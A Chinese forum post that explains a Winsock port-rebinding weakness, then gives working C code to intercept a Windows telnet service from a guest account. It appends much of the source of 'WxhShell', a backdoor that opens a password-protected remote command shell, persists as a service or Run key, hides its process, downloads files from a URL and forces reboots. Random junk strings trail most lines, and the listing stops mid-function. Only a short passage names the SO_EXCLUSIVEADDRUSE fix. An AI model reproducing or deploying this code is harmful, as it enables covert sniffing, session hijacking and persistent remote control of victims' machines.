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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dE=4tqv-r  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9XImgeAs  
ijOUv6=-  
  saddr.sin_family = AF_INET; ma)Y@Uw M  
Q|q.~x<RQ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ak 94"<p  
Xp"ZK=r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <t>"b|fW  
MDGD*Qn~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z& e_yl  
sPuNwVX>}I  
  这意味着什么?意味着可以进行如下的攻击: 8<#X]I_eP+  
W-ErzX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5(R ./  
1K.i>]}>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q%o:*(x[O  
*~~ >?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'gHa3:US  
I&^ B?"Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  uO8z.  
DUUQz:?{J  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >0z(+}]3z  
e~w-v"'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7SOi9JU_  
49q\/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &sleV5V  
,_?P[~1  
  #include {gT2G*Ed^Z  
  #include ys`"-o[*  
  #include pT\>kqmj  
  #include    \yP\@cpY{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   x8 YuX*/I  
  int main() 'o;>6u<u  
  { V+myGsr`  
  WORD wVersionRequested; ejP273*ah  
  DWORD ret; f-6-!  
  WSADATA wsaData; H/n3il_-I  
  BOOL val; &~Qi+b0!  
  SOCKADDR_IN saddr; 5]D"y Ay81  
  SOCKADDR_IN scaddr; c `C /U7j  
  int err; >|Ps23J#  
  SOCKET s; BM9J/24  
  SOCKET sc; y ,e# e`  
  int caddsize; is @8x!c  
  HANDLE mt; h8OmO5/H  
  DWORD tid;   qP=4D 9 ]  
  wVersionRequested = MAKEWORD( 2, 2 ); J%]< /J  
  err = WSAStartup( wVersionRequested, &wsaData ); -8H0f- 1  
  if ( err != 0 ) { (`<X9w,  
  printf("error!WSAStartup failed!\n"); f'._{"  
  return -1; w ryjs!  
  } M|IR7OtLV  
  saddr.sin_family = AF_INET; VX#4Gh,~N  
   7~(|q2ib  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 l>p S23  
|t](4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /sVy"48-  
  saddr.sin_port = htons(23); iv@ey-,<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OtK=UtVI  
  { >(nb8T|  
  printf("error!socket failed!\n"); S-@E  
  return -1; >Wvb!8N  
  } 91Bl{  
  val = TRUE; w;f$oT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %6c[\ubr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) sswYwU  
  { 92zo+bc  
  printf("error!setsockopt failed!\n"); C 8 [W  
  return -1; h~|B/.[R:3  
  } )w\E^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {Yp>h5nwM_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 it?l! ~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2eNA#^T=  
RE~:+.eB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t0t" =(d  
  { L9L!V"So1k  
  ret=GetLastError(); &)Y26*(`  
  printf("error!bind failed!\n"); ~m4{GzB  
  return -1; ?}<4LK]  
  } ipy1tXc  
  listen(s,2); Qry?h*p+`  
  while(1) Wl!|+-  
  { =^  
  caddsize = sizeof(scaddr); c~j")o  
  //接受连接请求 L O)&|9xw  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <i}lP/U  
  if(sc!=INVALID_SOCKET) 8bl&-F `  
  { Y [8~M8QX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .C$4jR.KC  
  if(mt==NULL) PU| X+V>  
  { `yiw<9yp2  
  printf("Thread Creat Failed!\n"); g?Jx99c;  
  break; /*,hR>UG  
  } `rt?n|*QF  
  } Hqsj5j2i  
  CloseHandle(mt); <<a1a  
  } rmVF88/;  
  closesocket(s); ks{y=@ <,  
  WSACleanup(); gKyYBr  
  return 0; 9k5$rK`  
  }   "zpc)'$ L=  
  DWORD WINAPI ClientThread(LPVOID lpParam) .v<Q-P\8/  
  { eRV4XB:  
  SOCKET ss = (SOCKET)lpParam; cPQUR^!5  
  SOCKET sc; 0A$x'pU)  
  unsigned char buf[4096]; k.UQT^.  
  SOCKADDR_IN saddr; dw6U}  
  long num; aE]/w1a  
  DWORD val; kTJz .  
  DWORD ret; GJ1ap^k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l]:nncpns  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2|2'?  
  saddr.sin_family = AF_INET; kY e3A &J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (- ]A1WQ?  
  saddr.sin_port = htons(23); iIZDtZFF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bo>4:i  
  { `|9NxF+  
  printf("error!socket failed!\n"); ji'NR  
  return -1; ){'Ef_/R  
  } @D:$~4ks  
  val = 100; o u%Xnk~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q[5j5vry  
  { TV^m1uC  
  ret = GetLastError(); R 1CoS6  
  return -1; L?[NXLn+  
  } f9R~RRz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |ATz<"q>  
  { WX2:c,%:  
  ret = GetLastError(); $?voQ&  
  return -1; 5G$sP,n  
  } QOb+6qy:3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R<"fcsU  
  { A:{PPjs%LA  
  printf("error!socket connect failed!\n"); 6 GL.bS  
  closesocket(sc); (f Gmjx  
  closesocket(ss); H);O.m  
  return -1; EMe3Xb `  
  } .\/jy]Y  
  while(1) OC(S"&D  
  { 2;!,:bFb  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 k`#OXLR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k)'y;{IN  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G {wIY"~4  
  num = recv(ss,buf,4096,0); 6p;G~,bd~  
  if(num>0) dCbRlW  
  send(sc,buf,num,0); |Z ), OW  
  else if(num==0) $ NNd4d*  
  break; ;"d>lyL  
  num = recv(sc,buf,4096,0); O7]p `Xi8  
  if(num>0) A"yiXc-N~\  
  send(ss,buf,num,0); 0Yh Mwg?  
  else if(num==0) "'# 18&N  
  break; osBwX.G'l  
  } \w;d4r8x  
  closesocket(ss); ;F)j,Ywi)H  
  closesocket(sc); QJeL&mf  
  return 0 ; '>8IOC  
  } _zuaImJ0o  
`a$c6^a  
. 5cL+G1k#  
========================================================== )sONfn  
uItzFX*   
下边附上一个代码,,WXhSHELL .m r& zq  
J(0E'o{ug  
========================================================== {Kbb4%P+h  
@y"/hh_?  
#include "stdafx.h" *wvd[q h  
O~wZU Zf  
#include <stdio.h> pfs'2AFj  
#include <string.h> r)4GH%+?fv  
#include <windows.h> $oPx2sb  
#include <winsock2.h> //x^[fkNq)  
#include <winsvc.h> [9hslk  
#include <urlmon.h> g?TPRr~$9  
MXVQ90  
#pragma comment (lib, "Ws2_32.lib") pZVT:qFF  
#pragma comment (lib, "urlmon.lib") ][gr(-68  
,b b/ $   
#define MAX_USER   100 // 最大客户端连接数 N9 SC\  
#define BUF_SOCK   200 // sock buffer IdHyd Y1  
#define KEY_BUFF   255 // 输入 buffer ?.A~O-w  
HITw{RPrW  
#define REBOOT     0   // 重启 }fS`jq;  
#define SHUTDOWN   1   // 关机 Fl{@B*3@w  
w<qn@f  
#define DEF_PORT   5000 // 监听端口 [Dzd39aKr  
t\\oG H  
#define REG_LEN     16   // 注册表键长度 [WfigqY`b*  
#define SVC_LEN     80   // NT服务名长度 K@RE-K6{  
%oee x1`=  
// 从dll定义API Q+ i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }|KNw*h $  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @zQ.d{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d ynq)lf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5{PT  
/i[1$/*  
// wxhshell配置信息 b6]MJ0do  
struct WSCFG { 3dl#:Si  
  int ws_port;         // 监听端口 ?3duW$`  
  char ws_passstr[REG_LEN]; // 口令 Ro2Ab^rQ|  
  int ws_autoins;       // 安装标记, 1=yes 0=no nq/SGo[c  
  char ws_regname[REG_LEN]; // 注册表键名 s%6{X48vY^  
  char ws_svcname[REG_LEN]; // 服务名 L  `\>_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (=jztIZ C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \me'B {aa  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y;GwMi $KI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g,k} nkIT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rDD,eNjG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '5f6 M^}|2  
7o99@K,  
}; :l;SG=scx  
w3<%wN>tE  
// default Wxhshell configuration 0gIJ&h6*f  
struct WSCFG wscfg={DEF_PORT, ?q*,,+'0  
    "xuhuanlingzhe", PLV-De  
    1, $2kZM4  
    "Wxhshell", ;YfKG8(0  
    "Wxhshell", :`Z'vRj  
            "WxhShell Service", m9Pzy^g1  
    "Wrsky Windows CmdShell Service", ,f[`C-\Q%  
    "Please Input Your Password: ", X2 PyFe  
  1, +";<Kd-  
  "http://www.wrsky.com/wxhshell.exe", pXE'5IIN  
  "Wxhshell.exe" !GAU?J;<#2  
    }; (O(X k+L  
KAFx^JLo  
// 消息定义模块 :TZ</3Sw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "0V8i%a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m4m,-}KNi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J ,s9,("  
char *msg_ws_ext="\n\rExit."; iVUkM3  
char *msg_ws_end="\n\rQuit."; =[ +)T[  
char *msg_ws_boot="\n\rReboot..."; -50 Nd=1  
char *msg_ws_poff="\n\rShutdown..."; fZ6-ap,u  
char *msg_ws_down="\n\rSave to "; QnZ7e#@UP  
l&2pUv=  
char *msg_ws_err="\n\rErr!"; s?9$o Qq1  
char *msg_ws_ok="\n\rOK!"; |eu:qn8  
*a[iq`499  
char ExeFile[MAX_PATH]; 8q"C=t7  
int nUser = 0; te*|>NRS  
HANDLE handles[MAX_USER]; ,|7!/]0&  
int OsIsNt; gm1 7VrC  
N t-8[J  
SERVICE_STATUS       serviceStatus; !l7D1i~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -*nd5(lY&  
HX`>" ?{  
// 函数声明 z0F'zN 3J  
int Install(void); ;,2;J3,pA  
int Uninstall(void); D8O&`!mf  
int DownloadFile(char *sURL, SOCKET wsh); |bM?Q$>~  
int Boot(int flag); Cvgk67C=$  
void HideProc(void); y88lkV4a  
int GetOsVer(void); 9x]yu6  
int Wxhshell(SOCKET wsl); a*N<gId  
void TalkWithClient(void *cs); r.vezsH  
int CmdShell(SOCKET sock); v-MrurQ4  
int StartFromService(void); T!ik"YZ@i  
int StartWxhshell(LPSTR lpCmdLine); a{y"vVQOF  
gwQk M4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4f-I,)qCBk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O Bp&64  
*S?vw'n  
// 数据结构和表定义 !C>'a:  
SERVICE_TABLE_ENTRY DispatchTable[] = >&-" X# :  
{ BK[ YX)  
{wscfg.ws_svcname, NTServiceMain}, 9C"d7--  
{NULL, NULL} ';J><z{>  
}; IV]2#;OO?  
%I^y@2A4`  
// 自我安装 0,M1Q~u%.  
int Install(void) Y)](jU%o  
{ 0XLoGQ=  
  char svExeFile[MAX_PATH]; FJC}xEMcN  
  HKEY key; ?,AWXiif  
  strcpy(svExeFile,ExeFile); SQhw |QdG  
WvVf+| Km  
// 如果是win9x系统,修改注册表设为自启动 IPxK$nI^  
if(!OsIsNt) { \*r]v;NcP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y5XhV;16  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nu!tk$Q  
  RegCloseKey(key); G@+AB*Eu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [+_0y[~,tB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8EC$p} S  
  RegCloseKey(key); O @)D%*;v  
  return 0; &"/IV$H  
    } 0'nY  
  } Ed ,O>(  
} z'r B_l  
else { +H `FC  
=L F9im  
// 如果是NT以上系统,安装为系统服务  +}-Ecr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,2/y(JX}*!  
if (schSCManager!=0) %7n(>em  
{ \|< 5zL  
  SC_HANDLE schService = CreateService #$*l#j"#A  
  ( j%TcW!D-_  
  schSCManager, QBwgI>zfS"  
  wscfg.ws_svcname, j{: >"6  
  wscfg.ws_svcdisp, kA/V=xO<  
  SERVICE_ALL_ACCESS, \66j4?H#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \NTNB9>CO  
  SERVICE_AUTO_START, l99{eD  
  SERVICE_ERROR_NORMAL, bPhbd  
  svExeFile, fd&=\~1_$  
  NULL, YjTA+1}  
  NULL, xZ.c@u6:  
  NULL, t^KoqJ  
  NULL, G&f~A;'7k  
  NULL Xb/^n .>  
  ); pU)g93  
  if (schService!=0) qR>"r"Fq  
  { f83Tl~  
  CloseServiceHandle(schService); 0X: :<N@  
  CloseServiceHandle(schSCManager); Vt;!FZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D@ R>gqb  
  strcat(svExeFile,wscfg.ws_svcname); 8Z1pQx-P2C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *E1v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DAHQ7#qfQC  
  RegCloseKey(key); !ZC0n`  
  return 0; H6! <y-  
    } LI/;`Y=  
  } Ljq!\D  
  CloseServiceHandle(schSCManager); S-D=-{@  
} _WeN\F~^  
} TexSUtx@$  
o*}--d? S  
return 1; U%)m [zAw  
} ;xMieqz  
I,0Z* rw  
// 自我卸载 o;\c$|TNU  
int Uninstall(void) I[$SVPe#  
{ DD(K@M  
  HKEY key; Wgr`)D  
H.R7,'9  
if(!OsIsNt) { wn-{V kpm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UC{Tmf  
  RegDeleteValue(key,wscfg.ws_regname); g-cC&)0Q  
  RegCloseKey(key); QTKN6P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }?vVJm'  
  RegDeleteValue(key,wscfg.ws_regname); |4tnG&=  
  RegCloseKey(key); #{]Yw}m  
  return 0; e_{!8u.+  
  } j^&{5s  
} 2-#:Y  
} gY=Ry=w9  
else { f}_d`?K  
zC[lPABQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S7 _^E  
if (schSCManager!=0) )rP)-op|A  
{  #Lq{_Y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pHpHvSI  
  if (schService!=0) ])YGeY(V0+  
  { 1FO T  
  if(DeleteService(schService)!=0) { Ad@Odx=o*R  
  CloseServiceHandle(schService); z%pD3J?>  
  CloseServiceHandle(schSCManager); \h&ui]V  
  return 0; /V% ]lmxQ  
  } {g7[3WRy  
  CloseServiceHandle(schService); <P"4Mk7`s  
  } yXdJ5Me(T  
  CloseServiceHandle(schSCManager); 5cza0CriJ  
} RC']"jpW  
} *xl930y  
7?O~3  
return 1; az=(6PX  
} U.[?1:v  
e~wJO~  
// 从指定url下载文件 %488"  
int DownloadFile(char *sURL, SOCKET wsh) k'd(H5A   
{ J^G#x}y  
  HRESULT hr; <e :2DB&  
char seps[]= "/"; KfVLb4@16_  
char *token; jW G=k#WN  
char *file; / W,K% s]  
char myURL[MAX_PATH]; i(k]}Di:  
char myFILE[MAX_PATH]; W?B(Jsv  
BIr24N  
strcpy(myURL,sURL); K[XFJ9  
  token=strtok(myURL,seps); )E2^G)J$W  
  while(token!=NULL) p`i_s(u  
  { N{$'-[  
    file=token; 5*d  
  token=strtok(NULL,seps); ,VM)ZK=Tr  
  } c&o|I4|Y,  
3N ]  
GetCurrentDirectory(MAX_PATH,myFILE); :Gdfpz-{?  
strcat(myFILE, "\\"); _Wjd`*  
strcat(myFILE, file); p FkqDU  
  send(wsh,myFILE,strlen(myFILE),0); !QB(M@1  
send(wsh,"...",3,0); f#W5Nu'*!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DjX*2O  
  if(hr==S_OK) _H41qKS{Ul  
return 0; v .ftfL!  
else ,;2x.We  
return 1; J"x M[c2  
$:bU<  
} SgOn:xg;3L  
e[lRY>Pe5  
// 系统电源模块 :.+?v*%;n  
int Boot(int flag) c QjzI#  
{ +Y^_1  
  HANDLE hToken; (v\Cv)OS  
  TOKEN_PRIVILEGES tkp; B`/c Kfg  
a09]5>*  
  if(OsIsNt) { )cMW,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F_Q?0 Do0'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $=? CW(  
    tkp.PrivilegeCount = 1; :PrQ]ss@C5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '5Zt B<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D&xb tJd  
if(flag==REBOOT) { u'?yc"d>#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U*Hw t\  
  return 0; `W8A *  
} qGE?[\t[6  
else { )7e[o8O_6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H nRd  
  return 0; 0wmz2zKV  
} j]#-DIL  
  } ZjE!? '(ef  
  else { |$r|DX1[  
if(flag==REBOOT) { ;btH[a iV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?\QEK  
  return 0; ~ "] 6  
} 8%UI<I,  
else { O^D$ ~ ]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LN8V&'>  
  return 0; O1.a=O  
} Om% 9 x  
} +M+ht  
axl!zu*  
return 1; CL^MIcq?  
} {5f? y\Z  
#Fua^]n  
// win9x进程隐藏模块 }NMkL l]J  
void HideProc(void) y s5b34JN  
{ G?Y2 b  
w%no6 ;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x}.Q9L  
  if ( hKernel != NULL ) s^nwF>  
  { MSm vQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4MVa[ 0Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <uugT9By  
    FreeLibrary(hKernel); QY,.|  
  } t} E 1NXW  
mW_<c,3D.  
return; /"t*gN=wrF  
} "tga FtC=w  
|M?yCo  
// 获取操作系统版本 =H_|007C  
int GetOsVer(void) t(4%l4i;X  
{ (ia(y(=C  
  OSVERSIONINFO winfo; {]\Q UXH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =TDK$Ek  
  GetVersionEx(&winfo); Bf Lh%XC  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q?GmSeUi  
  return 1; !s;+6Sy  
  else {*8'bNJ  
  return 0; aDx{Q&  
} H)$-T1Wx4  
Rx$5#K!%M  
// 客户端句柄模块 ,zy4+GW  
int Wxhshell(SOCKET wsl) Z2Bl$ \  
{ ;as4EqiK  
  SOCKET wsh; m8Q6ESg<*u  
  struct sockaddr_in client; d jeax  
  DWORD myID; G)b6Rit  
a*d>WN.;U  
  while(nUser<MAX_USER) &v+8RY^F=  
{ eu(1bAfS&T  
  int nSize=sizeof(client); mbBd3y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )#9R()n!  
  if(wsh==INVALID_SOCKET) return 1; kfo, PrW`A  
LI[ w?6B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A*BIudli  
if(handles[nUser]==0) .c'EXuI7),  
  closesocket(wsh); ~y+QL{P4~  
else %C%~f {4  
  nUser++; fbKL31PI  
  } FO{K=9O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Be{7Rj v  
OLc/Vij;  
  return 0; )o'&f"/  
} dZ&/Iz  
j+:q:6=  
// 关闭 socket IsmZEVuC  
void CloseIt(SOCKET wsh) 7]} I  
{ JH| D  
closesocket(wsh); ,hH c -%-  
nUser--; #|K{txC   
ExitThread(0); tm/=Oc1p  
} ,4S[<(T"  
t>Ye*eR*`U  
// 客户端请求句柄 Ni8%K6]z  
void TalkWithClient(void *cs) (/At+MF3E  
{ ^vxx]Hji  
*^%+PQ  
  SOCKET wsh=(SOCKET)cs; F!3p )?  
  char pwd[SVC_LEN]; :pM)I5MN[  
  char cmd[KEY_BUFF]; WH4rZ }Z`  
char chr[1]; @ <3E `j'p  
int i,j; DXG`%<ZMn  
X~UL$S;  
  while (nUser < MAX_USER) { %%F, G  
Ell14Iki  
if(wscfg.ws_passstr) { 'z^'+}iyv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w[F})u]E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Td,d9M  
  //ZeroMemory(pwd,KEY_BUFF); 4qQE9f xdY  
      i=0; "b402"&  
  while(i<SVC_LEN) { +.&P$`;TZj  
?%`Ph ?BZl  
  // 设置超时 V@]SKbK}wN  
  fd_set FdRead; GMg! 2CIU  
  struct timeval TimeOut; 3$xpZm60  
  FD_ZERO(&FdRead); ~r?tFE* +  
  FD_SET(wsh,&FdRead); KTt+}-vP^  
  TimeOut.tv_sec=8; (u ^8=#  
  TimeOut.tv_usec=0; g4=C]\1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IqV" 4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ux1j+}y  
T9}~]zW7P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qSlo)aP  
  pwd=chr[0]; { TI,|'>5[  
  if(chr[0]==0xd || chr[0]==0xa) { +_ /ys!  
  pwd=0; t #Kucde  
  break; KB^8Z@(+  
  } V,=5}qozQ  
  i++; m_Pk$Vwx  
    } VQ,5&-9Y3  
1TX3/]:  
  // 如果是非法用户,关闭 socket tH&eKM4G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [<5/s$,i  
} z6}p4  
p7 !y#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X $V_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G62;p#  
V,rR*a&p  
while(1) { @54$IhhT~  
za}Kd^KeB  
  ZeroMemory(cmd,KEY_BUFF); 8G3 Z,8P4(  
1) K<x  
      // 自动支持客户端 telnet标准   ,"5HJA4  
  j=0; T[^&ZS]s  
  while(j<KEY_BUFF) { sxA]o|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RhKDQGdd  
  cmd[j]=chr[0]; ;zze.kb&F  
  if(chr[0]==0xa || chr[0]==0xd) { 2q]ZI  
  cmd[j]=0; Zyr| J!VF  
  break; n-SO201[*  
  } BriL ^]  
  j++; xv Xci W  
    } 8\9W:D@"x  
b:'8_jL  
  // 下载文件 (1q(6!  
  if(strstr(cmd,"http://")) { p>kny?AJ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tV_3!7m0$  
  if(DownloadFile(cmd,wsh)) s0]ZE\`H>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x0>N{ADXQ  
  else X.>~DT%0Lm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O7_y QQAA  
  } G /$+e  
  else { ygV_"=+|N  
pGD-K41O]  
    switch(cmd[0]) { $[b}r#P  
  43y@9P0  
  // 帮助 }5n\us  
  case '?': { ^V1\boo=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g]JRAM  
    break; GFE3p  
  } GOGS"q  
  // 安装 <$hv{a  
  case 'i': { 4YI6&  
    if(Install()) c%O97J.5b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aCH;l~+U  
    else c$)>$&([  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !( +M  
    break; ]mi\Y"RO  
    } 7[0Mr,^  
  // 卸载 =w;-4  
  case 'r': { -xLK/QAL  
    if(Uninstall()) l" ~ CAw;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $<XQv$YS  
    else KztQT9kY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sh5)36  
    break; h5T~dGRlR  
    } Yc?S<  
  // 显示 wxhshell 所在路径 7p\&D?  
  case 'p': { sr[[xzL  
    char svExeFile[MAX_PATH]; 1c @S[y  
    strcpy(svExeFile,"\n\r"); rN7JJHV  
      strcat(svExeFile,ExeFile); AxH`4=3<  
        send(wsh,svExeFile,strlen(svExeFile),0); ~|, "w90  
    break; g~,iWoY  
    } }@jJv||  
  // 重启 qhG2j;  
  case 'b': { mJd8?d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "[k>pzl6  
    if(Boot(REBOOT)) pzjNi=vhd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8kSyT'k C%  
    else { ]8OmYU%6V  
    closesocket(wsh); h+!R)q8M  
    ExitThread(0); /&G|.Cx  
    } ltU{P|7!E  
    break; P.Cn[64a+@  
    } 6C"zBJcGc  
  // 关机 gBWr)R  
  case 'd': { =Ez@kTvOs  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W5Jy"]^I  
    if(Boot(SHUTDOWN)) 7JuHa /Mv  
